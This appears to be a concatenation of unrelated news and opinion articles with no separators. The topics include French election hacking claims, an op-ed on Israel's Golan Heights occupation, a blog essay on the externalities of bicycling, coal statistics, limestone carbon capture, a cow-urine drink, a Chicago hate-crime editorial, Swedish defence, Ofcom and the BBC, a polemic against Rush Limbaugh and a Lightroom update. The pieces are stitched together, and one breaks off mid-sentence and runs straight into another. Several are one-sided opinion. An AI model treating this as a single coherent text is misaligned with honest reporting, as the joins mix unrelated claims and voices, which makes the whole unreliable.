"We have been the targets of multiple attempts of hacking but we succeeded to stop all of them."
Mr Mahjoubi was talking to Sky News at the headquarters of Mr Macron's grassroots political movement, En Marche.
:: Who is Emmanuel Macron?
Mr Macron, 39, the former chief of staff and economy minister for incumbent French President Francois Hollande, quit the Socialist party last year to launch his own political movement.
Image: Mounir Mahjoubi, Emmanuel Macron's digital campaign manager, says Russian media are the 'first source of false information'
Distancing himself from "the establishment" has proved to be a draw.
The former investment banker is now favourite to win the presidency assuming he makes it through to the second round of the two-stage process.
He is pro-Europe, pro the euro, centrist and liberal - stances which Mr Mahjoubi believes make him the target of state-sponsored hacks.
Macron urges talent to move to France after Brexit
:: How do the French elections work?
"These ideas of a more open Europe, of a stronger Europe, of a more progressive France, these ideas for certain countries in the world and for certain private organisations are ideas to fight against." Mr Mahjoubi said.
Staff at En Marche were unable to offer any concrete evidence for the attempted hacks, citing the invisible and anonymous nature of the hacking process.
But they say their party website and donations website have been disabled temporarily, impacting their fundraising.
"The only thing we can say is that half of all the attacks come from Ukraine, but Ukraine is a pass through country, used as a proxy," Mr Mahjoubi said.
He says the campaign of misinformation is more damaging, illustrating the problem with a chart showing how inaccurate news about his candidate can spread in hours.
How the US election was 'hacked'
:: Is the French election Brexit's Waterloo?
Last month, reports circulated online which raised questions about Mr Macron's sexuality and his connections to the US banking industry.
Mr Macron was eventually forced to address the rumours, insisting he was not gay and not in the pocket of any US banks.
Yet since then, Mr Mahjoubi said the "fake news" and the separate hacks have continued and give an advantage to Mr Macron's main opponent, far right leader Marine Le Pen.
"Marine Le Pen is our main enemy... Not only her but the ideas of the Front National," Mr Mahjoubi said.
"She now has the support of new media like Russia Today (RT) and Sputnik and that wasn't the case before.
"She has the support of the galaxy of people online which we call the social sphere.
"She has the most effective online troops."
RT and Sputnik, both funded by the Russian state, have strenuously denied ever having published fake news.
"The accusations are false and lack any evidence," Sputnik said in a statement.
RT added that they "adamantly reject any and all claims that it has any part in spreading fake news in general and in relation to Mr Macron".
Is this a sign of France's far-right future?
The French government and intelligence agencies have both expressed concern that Russia is attempting to influence the result of the election.
The polls suggest a win for Ms Le Pen is an increasing possibility.
She is anti-EU and has called for a referendum on France's EU membership within six months.
A Frexit would cause irreconcilable damage to the European Union - a geo-strategic goal for Russian President Vladimir Putin.
Alexandre Melnik is a former Soviet Union diplomat.
He is now a professor of geopolitics in France and no fan of Mr Putin.
"I think this is the global strategy of Russia: through cyber war, through hackers - this is how to kill the fundamentals of western democracy and to take the global leadership of the 21st century.
"Today, the Kalashnikov perhaps is replaced by one click.
Image: Alexandre Melnik is a former Soviet Union diplomat and says Vladimir Putin uses hacking to interfere with other countries
"We live in this civilisation of 'click' and Putin is aware of that and so he uses, with strong power, hacking and intervening in internal affairs of different countries, through one click."
The Kremlin has repeatedly laughed off suggestions that it has meddled in either the US or the French elections.
Kremlin spokesman Dmitry Peskov said: "We didn't have and do not have any intention of interfering in the internal affairs of other countries.
"That there is a hysterical anti-Putin campaign in certain countries is an obvious fact."In many ways, the war in Syria has been a gift to Israel. For reasons quite similar to the US, the government in Tel Aviv has an interest in helping to prolong the war for as long as possible. Mostly crudely expressed by the poisonous anti-Muslim demagogue Daniel Pipes as “support whichever side is losing in the Syrian civil war,” this is a classic divide-and-rule imperial strategy.
The Syrian government is an oppressive state which abuses human-rights. It is also a state which is independent of US designs on the region, and often acts in downright opposition to them. The most obvious example of this is the government’s longstanding logistical support for the armed wing of the Hezbollah movement, the main force in Lebanon’s resistance to Israel. Hezbollah fighters are supporting the regime of Bashar Al-Assad in the war.
For this latter reason, both the US and Israeli governments are happy to let the fighting continue for as long as possible, since it means that Syria is less of a threat to the US and Israel’s regional dominance. A side benefit of all this for Israel has been to allow it to increase and further entrench its occupation of the Syrian Golan Heights.
This is a region of south-western Syria, which has been occupied illegally by Israel since the war of 1967. Although the Israeli occupation of Palestine’s West Bank and Gaza Strip is fairly well understood by now, the occupation of the Golan Heights gets less attention.
In 1967, when Israel occupied Gaza, the West Bank and Egypt’s Sinai Peninsula, it also invaded Syria’s Golan Heights. More than 130,000 native Syrians living in the area were either transferred forcibly from their homes, or compelled to flee by the threat of the war. This represented most of the population of the territory.
Israel then set about destroying villages in the Golan. Within a month of the occupation, Israel began building settlements on the rubble; these were and are all illegal under international law. The Syrian inhabitants of those villages were forbidden by Israel from returning to their land. The situation in many respects is very much like Israel’s ethnic cleansing of Palestine in 1948, albeit on a smaller scale.
In 1981 – in defiance of international law and the UN – Israel annexed the Golan, designating it to be part of itself according to its own laws and practice. This is a move that it has not made in the West Bank and Gaza, because it would come under immense international pressure to grant the 4.5 million Palestinians in those occupied territories a vote in the Israeli parliament. This is something that Israel, the so-called “Jewish state”, will never countenance, unless it is compelled to do so by outside pressure.
Since then, Israel has increased its occupation of the Golan incrementally. During the current war in Syria, Israel has commenced exploratory drilling for oil in the territory. The parent company of Afek, which is carrying out the drilling, includes on its advisory board former US vice-president Dick Cheney, media tycoon Rupert Murdoch and Larry Summers, the former secretary of the US treasury.
Last week, it was reported in the Israeli press that Tel Aviv has authorised the construction of 1,600 new houses in the illegal settlement of Katzrin. According to Al-Marsad, a Syrian Arab human rights centre in the occupied Golan, the settlement is built over the destroyed Syrian villages of Qasrin, Shqef and Sanawber.
Al-Marsad explains that “due to [Israel’s] discriminatory land, housing and development policies, Syrian residential areas [in the Golan Heights] are severely overcrowded. As a result of severe restrictions imposed by Israeli planning committees, it is close to impossible for the native Syrian population in the remaining Syrian villages in the occupied Syrian Golan to obtain building permits.” This reflects the situation in, for example, occupied Jerusalem, where Palestinians are rarely granted such permits. “As such,” says Al-Marsad, “the Syrian population is forced to build homes without building permits, as this is the only way to meet their housing needs. Consequently, Syrian home owners run the risk that their home could be destroyed: as was the case with Mr Bassam Ibrahim whose home in Syrian village, Majdal Shams, was demolished by the Israeli authorities last month. Currently, the Syrian owners of between 80-90 houses have been notified that their homes are also due to be demolished.”
The war in Syria remains a convenient cover for Israel’s occupation of this much-neglected region of Syria to continue unabated. Much like its occupation of Palestine, Israel’s occupation of Syria must come to an immediate end.
The views expressed in this article belong to the author and do not necessarily reflect the editorial policy of Middle East Monitor.A comment on a recent post on streets.mn suggested that bicycling has positive externalities, and thus we (society/government) should subsidize it. The same argument applies to many things for which government subsidy is requested, including large stadiums for professional sports teams.
Stipulations
Zeroth, bicycles are not public goods. Bicycles are both excludable (with locks when not ridden, by the rider when ridden) and rivalrous (my riding prevents you from riding it), and are thus private goods. Bicycle lanes may be public goods, since we don’t generally have effective mechanisms to exclude people who do not pay from using bike lanes (unless we register and tax bicycles, and enforce this, which is difficult with present technologies given their long and open nature) nor are bike lanes generally congested. The facility such lanes parallel may in fact be congested (rivalrous), and thus the demand for the space they use may be rivalrous – this usually varies by time of day.
First, bicycling has lots of benefits for bicyclists, otherwise they would not choose to ride their bike. So there are private benefits. (Similarly, professional sports teams are already profitable.)
Second, based both on theory and evidence, the provision of bicycle infrastructure increases bicycle use and thus private benefits. (Similarly, a new stadium will increase attendance or ticket prices at a sports event.)
Third, what a bicyclist would do it they are not bicycling is not obvious. Perhaps they would walk, or ride transit. Perhaps the trip would not be made (most trips are not work trips, most bike trips are at least in part recreational). Does more bicycling actually result in fewer people using other modes? The classic (logit) mode choice model implies that it does, though the shares are not 1:1, so we cannot assume that each bicyclist would otherwise drive. The IIA assumptions (Independence from Irrelevant Alternatives) implies that if bicycling were somehow to disappear, bicyclists would use other modes in the proportion they have today, so maybe 60% of bike trips would switch to auto driver. More sophisticated models can may be able to answer this question more accurately.
To the extent that fewer people drive or ride transit, at the margins additional bicycling reduces the negative externalities of those other modes (congestion, pollution, noise, etc.). (Similarly, what a fan would do were they not attending and spectating at a football game is not obvious. There would be at least some other leisure activity consumption.) I don’t believe that is sufficient to claim them as positive externalities for reasons discussed below.
Externalities: Definitions
[For a primer, See: Khan Academy on Positive Externalities.]
Economics makes a distinction between Technical vs. Pecuniary externalities. Pecuniary is the SAT word for relating to money, and the term Pecuniary Externality covers cases where Alice’s presence in the market raises costs for Bob. If we have an upward sloping cost curve, as we move along the demand curve to the right in quantity, the equilibrium price rises. Alice’s presence in a market (where variable costs are rising more than average fixed costs are falling) raises prices for other consumers (all the Bobs).
The Vikings’ presence in Downtown East drives up land rents for others. This Pecuniary externality is not what we are concerned about. Instead we are concerned about Technical Externalities, where my presence in the market creates an impact on someone who is not in the market.
For instance the noise and congestion from the Vikings game lowers the property value of nearby residences. A bike trail in my back yard may lower my property value. Taking lanes from cars for a bike lane may increase congestion in the remaining car lanes.
Just about any action has positive and negative effects on others who are not party to the transaction. In the absence of regulation, parties try to internalize the benefits and externalize the costs. The positive externality argument has been used to justify subsidizing many different goods and services.
What is our baseline?
The Polluter Pays Principle says the baseline is no negative externality. When there is a negative externality, the polluter must pay a tax (a Pigouvian tax) equal to the cost of the externality to society. If reducing the externality can be done for less cost than the tax, the polluter will of course do that.
If instead society is subsidizing someone to not pollute, for instance by giving them a property right in the pollution they are already creating (such as a cap-and-trade program, or congestion credits), we are reducing the negative externality, but systematically distorting incentives all around. We are changing the baseline from no pollution to the existing amount of pollution. We are in a sense giving a property right to existing polluters to continue polluting (congesting) the amount they want, and the victim of the pollution is required to pay them to stop. While Coasian bargaining suggests we would wind up with the same efficient equilibrium (if we can ignore transaction costs), this will provide a poor set of incentives, especially if the polluter can game this system to increase their initial endowment by maximizing initial pollution in a way that is easily reduced for the polluter, but not obviously so to the pollutee.
Currently cars do not pay for the pollution, congestion, noise, or unsafety they produce.
Is there a dual problem?
If the Polluter Pays Principle is our operating logic for negative externalities, what is the mirror or dual for positive externalities: The Positive Spillover-er is Subsidized Principle? The person or organization who creates positive spillovers (positive externalities) for society which they cannot themselves internalize, should be subsidized.
Assuming we could actually determine this (i.e. assuming perfect information), and that transaction costs were very small (i.e. we could implement it) this might make some sense. Those two assumptions are at odds with how reality often works. Nevertheless, it is certainly used as a rationale for public subsidies for certain things like parks, schools, transit, bike lanes, NFL stadiums, even roads.
Unlike negative externalities which we clearly do not want, no one (or not everyone) necessarily asked you to create a positive externality.
If we subsidize to induce the positive externality – then we are asking.
If we subsidize to reward the positive externality – then we are thanking, and implying an implicit incentive for future Spillover-ers. But these are different cases (before vs. after) with different results.
If it doesn’t occur to society to incentivize you or thank you, but instead if you are demanding a subsidy because of the benefits you provide that the rest of us don’t (at first, or ever) see, that is another case still.
There are few cases where everyone benefits, and fewer where everyone benefits the same amount. A Vikings stadium benefits place A and businesses there in large part at the expense of place B and businesses there. In short, most of the benefits are transfers, and while there may be a net social increase, there are winners and losers and the winners do not actually compensate the losers.
Internalize it
While the Negative Externalizer has no incentive to capture their externality, why can’t the Positive Externalizer capture the positive externalities? The Vikings, for instance, could have moved to a location [Arden Hills] where they put all the parking, hotels, shops, and restaurants on site, and the only spillover would be name recognition and municipal pride in a team so great they consistently bring home national championships regularly for the metro area they purport to represent. By moving to (staying at) a smaller site in the city, they cannot capture all of the excess spending by stadium-goers, which instead spills-over to neighboring blocks in downtown, enriching nearby landowners and their tenants, and indirectly increasing the tax base (so it is said).
So what is the difference between a request for more subsidy for bike lanes vs. more subsidy for a professional sports team?
Roads, and wide linear infrastructure in particular, are notoriously hard to privately build without government consent or granting of eminent domain powers. Stadiums as point facilities are much simpler. A new network of bike lanes divorced from existing networks of rail and road infrastructure in a built-up area is impractical. In contrast, a new network of bike lanes in a private master planned community built upon a green field is readily accomplished.
In the absence of master planned communities replacing administratively obsolete cities cursed with an excessive division of property, a practical solution in the messy city needs to be identified.
Is the good undersupplied when paid for by direct beneficiaries?
Would we get fewer or smaller football stadiums when the Vikings pay for it instead of the public, and would the public thus lose benefits. One could hope. Certainly the Vikings have gamed the system to get a huge reward for little investment.
Many goods have positive externalities over some range of quantity, but are not necessarily undersupplied once fully deployed. Network externalities are an example. My use of the cell phone network makes it more valuable for others. My taking the bus makes bus transportation more valuable for others (See Mohring Effect). Similarly, my taking flights out of Minnesota makes air travel more convenient for others in the long run, as more flights will be supplied through Minneapolis, and hubs provide greater connectivity.
That doesn’t necessarily mean that the public should subsidize my cell phone, bus trip, or flight even though I provide this externality I cannot capture myself. The private benefits are large, and after a certain point, public subsidy would not actually induce more consumption since the consumption is at the maximum level economically feasible. This is certainly close to true for cell phones where networks were subsidized privately rather than publicly. (There has obviously been significant public subsidy in the aviation sector, though today it is mostly privately funded). It is widely debated for public transport.
How you do the subsidy matters
We can subsidy the consumer directly, but giving them cash or tax credit. Alternatively, we can subsidize supply, lowering the cost and thereby inducing more demand. These have very different effects.
Do Two Wrongs Make A Right? Do Two Minuses Make A Plus?
So back to the original question: Is a reduction of negative externalities from another mode (a benefit to society as a whole, if not necessarily to each member) a positive externality of biking?
Without immediately answering, we can say that, if a reduction of a negative by subsidy is a positive, it is a “second-best” solution. The first best solution is to reduce externalities directly by taxing them so as not to distort incentives and to discourage over-consumption directly. However, as wikipedia says: “In theory, at least, it may be better to let two market imperfections cancel each other out rather than making an effort to fix either one.” The imperfections in this case being the negative externalities that are not internalized, and the subsidy for a mode that might reduce those externalities.
Classic economic examples imply that it is a positive externality. One random website writes: “If you walk to work, it will reduce congestion and pollution, benefiting everyone else in the city.” which is about as analogous as you can get. Yet something rings wrong.
The underlying logic is that “negative” implies the minus sign, and if we reduce a negative we are adding (two minuses make a plus in math even if two wrongs don’t make a right). From a simple welfare economics perspective, you will get the same Net Present Value either by more biking because you subsidized biking or you taxed non-biking.
NB: You will not necessarily get the same Benefit/Cost ratio, since negative externalities are a cost and positive externalities are a benefit, and the subsidy is a cost (to the government), and a benefit (to the traveler) and tax revenue a benefit (to the government), and a cost (to the traveler).
However, as we noted above, everything has tons of indirect effects. Lifecycle analysis often look at these. When thinking about externalities, we need to distinguish between direct and indirect effects. To illustrate, when driving a car, tailpipe emissions are a direct externality. You may have purchased the car in a market transaction. The car was manufactured in a factory. The factory also had emissions. Are the factory emissions a negative externality of driving a car? If they are, how about the emissions of the steel factory? How about the emissions of the worker who drove to the steel factory? How about the emissions of the food truck that supplied the steel worker’s lunch? How about the emissions of the clothing factory that produced the shirt which was on the back of the driver of the food truck? If we accept the auto factory, we have no basis not to accept everything else in society, since the entire economy is a connected network. The usual rule in economic analysis is that we look at direct effects, not indirect effects mediated by market transactions. In this way we can focus on real effects and avoid double counting.
Thus reducing negative externalities of driving because you walk to work may be a wonderful thing, but contra our random internet website it is not a positive externality of walking any more than the negative externality of the emissions of the factory worker driving to the shoe factory which supplied you with shoes. And any positive externalities of bikes should be associated with those direct effects of bicycling, not the indirect effects of other avoided things, nor should they be offset by the negative externalities of bicycle manufacturing and distribution.
I am not sure I can identify any direct positive externalities of bikes that are not mediated. Perhaps people like to look at bicyclists, who provide a positive aesthetic externality. (Actually, people do like to look at unicyclists, which is why circuses can charge money). Maybe bicyclists are healthier, and reduce claims on publicly subsidized health care. (A. This is not a direct positive externality since it is mediated by the health insurance market, and B. I am not sure this health claim is actually true, especially after considering safety and injury and deeply breathing in the toxic emissions of cars – health effects are context dependent, and what would be true if everyone biked is not true if most do not. See e.g.: Hankey et al.). Bikes are good, but they are mostly good because they are good for bicyclists. Like other transportation modes, they should be funded primarily by user fees. Only if that is not feasible should other sources of funding be considered. [Recognizing of course, that since other modes are not fully funded by user fees, we are in the world of the second-best, and it would be unfair and inefficient for only bicycle facilities to be fully funded by user fees.]
So then the question is whether these indirect positive effects are worthy of subsidy.
Political Economy
One of the problems is when the private beneficiaries are clearly identified (and organized), but the public beneficiaries are diffuse. This is a classic political economy problem, and explains why many special interests get tax breaks or subsidies. So the beneficiaries have an incentive to overstate the social benefit, especially when there is not a clear neutral arbiter of facts.
The net result may be overinvestment in such facilities on the grounds of positive spillovers. This is obvious in the example of the Vikings stadium, which is far more than actually needed to keep the owners financially compensated for staying in Minnesota. While bicycle advocates will scoff at this premise in the present context, there are many examples of overbuilding in the history of transportation. Just look at paved roads for cars and trucks, which at one time were in the same position as bike-only facilities today, and were clearly under-supplied. Today I suspect most bicycle advocates would assert such roads are over-supplied.
A second issue is the deadweight loss (the social benefit that is missed because of under-consumption) might be very small compared to the private benefit. This depends on the shapes of the curves and the magnitudes of the private and public benefits, both of which are unknown in practice.
Alternatives to Public Subsidy
Public subsidy is not the only means for groups to obtain what they want when it is infeasible to do so privately. The Streets.mn website produces many social benefits, but is paid for by a relatively few (compared to readers) members. The readers must benefit, as they read. They probably benefit more than the private time and effort involved in reading. Yet they mostly don’t pay, and instead free ride (free read) on the efforts of others, and streets.mn is produced anyway. Life is a free-ride on the efforts of our ancestors, who brought us fire, steam power, electricity, and the internet, among millions of other innovations.
Many philanthropic activities so occur.
Why isn’t transportation itself philanthropically funded? While there have been discussions of philanthropically subsidized public transport, I am not aware of this actually being implemented at scale. One may argue the scale is too large. While that may be true for large public works, surely that is not true for bike lanes, which are relatively inexpensive to construct. (Bikeshare systems are often funded with a mix of philanthropy and user fees).
More likely it is because government already owns the roads, and thus the space out of which most bike lanes would be carved. Government is currently charged with building and maintaining roads, so that is the status quo. And if you can convince someone else to pay, why do it yourself.Highlights
Coal remained the world's fastest-growing fossil fuel in 2012, despitethe rate of consumption slipping below the 10-year average of 4.4% during theyear, according to the BP 2013 Statistical Review of World Energy releasedWednesday.
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Total global coal consumption in 2012 rose 2.5% on the year to 3.73billion mt of oil equivalent.
The Asia-Pacific region accounted for 69.9% of global coal consumptionin 2012, burning 2.61 billion mt of oil equivalent.
Despite China's coal consumption growth rate falling to a below-average6.1%, the country still accounted for all of the net growth in coal burn andaccounted for more than half of global coal consumption (50.2 %) for thefirst time, BP said.
Total US coal consumption continued to fall, decreasing by 11.9% on-yearto 437.8 million mt of oil equivalent.
In Europe -- where low-priced thermal coal continues to displace gas inthe merit order -- coal burn increased by 2.2% on the year to 516.9 millionmt, representing 13.9% of overall global consumption.
Global coal production grew by 2% to 3.85 billion mt of oil equivalentwith the Asia Pacific region accounting for all of the net increase and formore than two-thirds of current global output, the report said.
US coal production -- which has been impacted by the rise to prominenceof shale gas and consequent lower domestic natural gas prices -- declined by7.5% over the year to 515.9 million mt of oil equivalent, representing 13.4%of the world's total output.
--Gareth Carpenter, gareth.carpenter@platts.com
--Edited by James Leech, james.leech@platts.com
TweetThe same chemical reactions that allow water to carve out caves in limestone could be used to capture carbon dioxide from smokestacks, say researchers at Stanford and the University of California at Santa Cruz.
The process—which uses seawater and crushed limestone to capture carbon dioxide—would be simpler than conventional carbon capture and storage (CCS) technologies, and potentially cheaper and more practical. The researchers have demonstrated the idea in laboratory tests, but not yet at an actual power plant.
Conventional CCS is a complex process that involves first isolating carbon dioxide from other exhaust gases, then compressing it and shipping it to an underground storage site. As a result, the technologies are expensive and haven’t been demonstrated at a large scale (see “What Carbon Capture Can’t Do” and “Grasping for Ways to Capture Carbon Dioxide on the Cheap”).
The new approach captures and stores the carbon dioxide in a single step. “The basic concept is extremely simple,” says Ken Caldeira, a professor of Environmental Earth System Sciences at Stanford University. He says it involves speeding up a natural process. When carbon dioxide in air mixes with water, it makes the water slightly more acidic. If this water comes into contact with limestone, the limestone reacts with carbon dioxide to form calcium bicarbonate—a common material that’s a constituent of hard water.
Crushing the rock and exposing it to the relatively concentrated levels of carbon dioxide found in exhaust gases makes it possible to capture and store 70 to 80 percent of the carbon dioxide emitted from a power plant, based on lab experiments, says Greg Rau, a senior researcher with the Institute of Marine Sciences at UC Santa Cruz. The product of the reaction, water containing dissolved calcium bicarbonate, would be pumped into the ocean. Even if all coastal power plants deployed the technology they would only modestly increase the amount of calcium bicarbonate already in the ocean as a result of natural processes, he says.
The main challenge with the approach is that it would require large amounts of water and limestone. The system for capturing the carbon dioxide would be about the size of a big-box store like Walmart. Coastal power plants already pump large amounts of seawater for cooling, so they’d be the best candidates to use the approach.
Although the researchers calculate that the process could be cheaper than other carbon capture and storage processes, they need to confirm this by demonstrating a small version of the system at a power plant. The demonstration would also be needed to measure the environmental effects of pumping calcium bicarbonate into the ocean.
Rau says there would be one environmental benefit in the area close to a power plant. The calcium bicarbonate could make the water slightly less acidic, counteracting the ocean acidification that’s been happening as the result of elevated carbon dioxide levels in the atmosphere.The Rashtriya Swayamsevak Sangh, India's leading Hindu cultural group, has developed Gau Jal or Cow Water, at its research centre in the Indian holy city of Haridwar on the River Ganges, and hopes it will be marketed as a 'healthy' alternative to Coke and Pepsi.
Hindus worship cows for their life-sustaining dairy products, but many also consume bovine urine and faeces in drinks and spice mixes for their "health-giving" properties.
In some Indian states, cow dung and urine are sold in regular dairy shops alongside milk and yogurt, and "ayurvedic" Indian health food companies make porridge, toothpaste and tonic drinks which claim to cure ailments ranging from liver complaints to diabetes and cancer. The urine is also believed to have disinfectant properties while the dung is used in many Indian village huts as a clean and antiseptic flooring.
Now, the RSS's Cow Protection Department has invented a new urine-based soft drink it hopes will promote its health-giving properties to a wider market. "We refer to gau ark (cow urine) as gau jal (cow water) as it has immense potential to cure various diseases. We have developed a soft drink formula with gau jal as the base and it has been sent to a laboratory at Lucknow for testing," said director Om Prakash.
His team is now focusing on packaging, marketing, and of |
taped shut and his wrists bound as four people punch, cut and mock him.
The story of this incident rapidly went global — yet another act of inhumanity in a city that notoriously ended 2016 with 762 homicides.
Walk through this slowly:
Chicago police say the disabled man met with an acquaintance at a suburban McDonald's on New Year's Eve before being held against his will days later on Chicago's West Side. His parents had reported him missing when he didn't return home.
The video broadcast live Tuesday on Facebook shows him tied up in a corner as his captors cut his shirt and slice his scalp. Police say he also was forced to drink toilet water.
Four people have been charged with a hate crime in an attack on a man with mental disabilities that was recorded on Facebook Live.
Police and prosecutors charged four suspects with aggravated kidnapping, hate crime, aggravated unlawful restraint and aggravated battery with a deadly weapon. Three defendants also are charged with residential burglary and one with robbery and possession of a stolen motor vehicle.
As cruel as the behavior depicted on the video is, equally ghastly is the sound track — punctuated by laughter. The woman shooting the video belly laughs as one of the offenders slices a chunk of hair from the young man's scalp, bloodying him.
"Let me see... ooooh," she cackles, getting a closer shot of the victim's head.
The trappings of a party surround the scene. Police say it appeared at least one of the suspects was smoking marijuana. Bottles of booze are captured on the tape.
The behavior is nothing short of monstrous.
Police Superintendent Eddie Johnson called the acts on the video "reprehensible" and racist. At one point, the offenders lash out against "white people" and Donald Trump. All the while, the victim sits in a corner, defenseless.
He was able to get away when his captors confronted a downstairs neighbor and the neighbor called police. On Tuesday evening, police found him wandering in the Homan Square neighborhood, disoriented, injured and wearing shorts in the cold weather. They called an ambulance. They learned he had been reported "missing and endangered" in suburban Crystal Lake.
Police say an apartment on Chicago's West Side was the scene of a brutal attack captured on Facebook Live that led to hate crime charges being filed against four people. (Phil Velasquez / Chicago Tribune) Police say an apartment on Chicago's West Side was the scene of a brutal attack captured on Facebook Live that led to hate crime charges being filed against four people. (Phil Velasquez / Chicago Tribune) SEE MORE VIDEOS
We leave questions of guilt or innocence to the courts. But any offenders convicted of these crimes likely will face stiff consequences for their actions, which police initially characterized as "stupid" prank-type behavior. Right. Just a bunch of kids goofing around. Police toughened their narrative by the time charges were filed Thursday, as they should have.
For Chicago, then, another grim moment.
It's become all too routine.
We have the data to prove it.
Join the discussion on Twitter @Trib_Ed_Board and on Facebook.Donald Trump's election victory has brought significant changes to Scandinavia's rhetoric, making the US the major "uncertainty factor" instead of an "aggressive" Russia. In Sweden, Trump's triumph evoked ambivalent reactions, re-heating the perennial NATO debate.
Remarkably, Trump's future presidency yielded contrary assessments from Sweden's former and present-day Supreme Commanders, signifying two approaches to national defense. Whereas both admitted concern over Trump's statements, in which NATO was called "obsolete" and skepticism of the US' protection of its European allies was voiced, Sverker Göransson and Micael Bydén differed when it came to Sweden's self-defense against Russian "aggression."
According to incumbent Supreme Commander Micael Bydén, Russia's military strength is bound to increase until 2025 and then level off around 2035. Bydén insisted that Russia allegedly used all available resources, both civilian and military, to change the world order, including the Baltic Region. Hence, the boundary between peace and war may get wiped out. To parry this threat, the Swedish Supreme Commander called for a robust national defense.
"It's about the entire chain from intelligence gathering to mobility, action, protection and logistics," Bydén said.
© AP Photo / Paul Madej, SCANPIX Chain Reaction: Trump's Triumph Galvanizes Swedish Defense Into Action
Swedish Defense Minister Peter Hultqvist agreed with Bydén's take. According to Hultqvist, Sweden must boost its defense to stand prepared against Russia's "authoritarian and erratic" regime, which "uses military force to achieve its foreign policy goals."
"The necessity of increasing our military capability stands crystal clear," Peter Hultqvist said, as quoted by Dagens Nyheter.
Bydén's predecessor, Sverker Göransson (Supreme Commander of the Swedish Armed Forces in 2009-2015), ventured that "Russia 2.0" posed the largest security threat to Sweden, yet advocated for NATO membership as a possible solution. Göransson went on to dispel the notion of Swedish neutrality.
"Many still believe that Sweden is neutral, but we're not at all. When we joined the EU, we also got a common foreign and security policy," Göransson told Swedish newspaper Norra Skåne.
Remarkably, Bengt Gustafsson (Supreme Commander of the Swedish Armed Forces in 1986-1994) surpassed his colleagues by advocating a doubling of Sweden's military budget and a re-introduction of air defense on the formerly demilitarized Baltic island of Gotland, which was recently reinforced with a regiment, the Swedish tabloid newspaper Aftonbladet reported.
Gustafsson cited the risk of a Russian invasion of the Baltic states to establish a "land bridge" to the Kaliningrad Region. According to Gustafsson, this would be made possible by the US' failure to adequately protect the Baltics.
At present, Sweden maintains the lowest defense expenditure of all the Baltic Sea nations at 1.1 percent of the GDP. Since 2009, Sweden's Armed Forces have been mostly modeled for small-scale peace operations abroad. The 2015 defense policy involves a heightened alert and features extra defense expenditure. A year ago, Micael Bydén, Supreme Commander of the Swedish Armed Forces, admitted that Sweden's defensive politics were largely governed by Russia's actions and ongoing re-armament. Consequently, a cross-party agreement to amplify defense expenditure was reached.
So far, the Swedish Armed Forces' "wish list" includes ten Gripen E fighter jets, new submarines, cruise missiles, an extended lifetime for corvettes, radio equipment to the Home Guard, new radars, school aircraft, combat vehicles, transport aircraft and others.Tom Watson says Karen Bradley should not have asked media regulator to set more quotas for BBC content
Labour has accused the government of interfering with the independence of the BBC and Ofcom after the culture secretary demanded that the media regulator should scrutinise the broadcaster more closely.
Tom Watson, Labour’s shadow culture secretary, said Karen Bradley had made a “serious mistake” by writing to Ofcom to call for the media regulator to set more quotas for the BBC’s radio and TV content and to hold the broadcaster to account over the diversity of its on-screen and off-screen workforce.
Watson warned that the BBC’s political independence would be questioned “if elected politicians try to bully its regulator into changing the rules”.
The Labour MP added: “For a secretary of state to try to influence Ofcom in such a heavy-handed way is a serious mistake. I hope Karen Bradley will realise, on reflection, that she should let Ofcom get on with its job and get on with her own.”
In a letter sent at the end of last month, Bradley expressed a collection of concerns about how Ofcom plans to regulate the BBC, claiming these had been raised “by a number of stakeholders”. The culture secretary questioned the lack of quotas for the BBC’s radio content – such as the breadth of Radio 1’s playlist – as well as future requirements for arts, music and religious programming on BBC1 and 2.
She also said that the government wanted the BBC to be the “leading the way on both on and off-screen diversity in equal measure” and expects Ofcom and the BBC board to “hold [the BBC] to account for delivering in this important area”.
The minister’s letter drew a firm response from the chair of Ofcom, Dame Patricia Hodgson, who said in a reply to Bradley that it was important that the regulator was “transparently independent”.
The work of Ofcom is in particular focus because it is also advising the culture secretary on whether the takeover of satellite broadcaster Sky by Rupert Murdoch’s 21st Century Fox should be allowed.
Ofcom became the first independent regulator of the BBC earlier this year under a new royal charter agreed between the government and the broadcaster. The media regulator published a draft operating licence that outlined how it plans to monitor the corporation. A consultation on these plans – which closed on 17 July, a week before Bradley’s letter – has generated heavy criticism of Ofcom for not doing more to improve the diversity at the BBC.
Campaigners want Ofcom to set the BBC targets for increasing the number of BAME (black, Asian and minority ethnic) staff working behind the scenes.
Asked about the letters, a spokesperson for Bradley’s Department for Digital, Culture, Media & Sport said: “We are committed to ensuring that the reforms introduced in the new charter are in place. Following a consultation on the BBC’s operating licence, the secretary of state wrote to Ofcom to reiterate that the key reforms must be reflected.”
An Ofcom spokesperson said: “As the BBC’s independent regulator, we’re proposing clear rules to ensure the BBC is distinctive and sets itself apart from other broadcasters. We will carefully consider all responses to our public consultation, before reaching final decisions in the autumn.”As sponsor after sponsor continue to pull ads from woman-hater Rush Limbaugh’s radio show for calling birth control advocate Sandra Fluke a “slut,” one Missouri woman is launching an attack against the conservative loudmouth’s bust in the Hall of Famous Missourians in the State Capitol.
Heather Woodside has started a petition demanding the removal of the bust, installed in the State Capitol by Missouri Republicans in 2012 in the midst of the fury generated by Limbaugh’s vicious sexist attack on Fluke.
In a statement to the St. Louis Post Dispatch, Woodside made it clear that Limbaugh doesn’t deserve a bust and it certainly doesn’t belong in the State Capitol.
“Since Sandra Fluke, Rush has still been demeaning women, people of color, immigrants, the working class and the LGBT community,” Woodside stated. “As a Missourian, I am appalled that we made and placed a bust of him in our State Capitol. He does not represent Missourians. He should not represent Missouri.”
The petition comprises one sentence: “Remove the Rush Limbaugh Bust from Missouri’s State Capitol,” and is addressed to Governor Jay Nixon and the members of the House and Senate. You can find the petition HERE.
For years, Rush Limbaugh has made constant offensive attacks on minorities, women, liberals, and the LGBT community. Here are 35 of his worst attacks that represent merely a fraction of his despicable remarks over the years. There has been no low to which Limbaugh won’t stoop to criticize those he hates. He has been a pox on America and an embarrassment to the people of Missouri. As a Missouri resident, I’m ashamed of Rush Limbaugh. He has no business being on radio and he certainly has no place among great Missourians such as Mark Twain and Walt Disney.
Since his shameful attack on Sandra Fluke, over 2,600 sponsors have pulled ads from his show and Clear Channel has lost millions of dollars because of the mass exodus of both listeners and sponsors. Perhaps the only thing Rush has left is his bust in the State Capitol and he should even lose that. A racist sexist drug addict who pushes hatred and fear has no right to be honored by government or anyone else for that matter. It’s time for Rush Limbaugh to leave the airwaves and take his bust with him.Update #2: Lightroom 6.3/CC 2015.3 is now available which includes the previous import functionality, bug fixes and added camera/lens profile support.
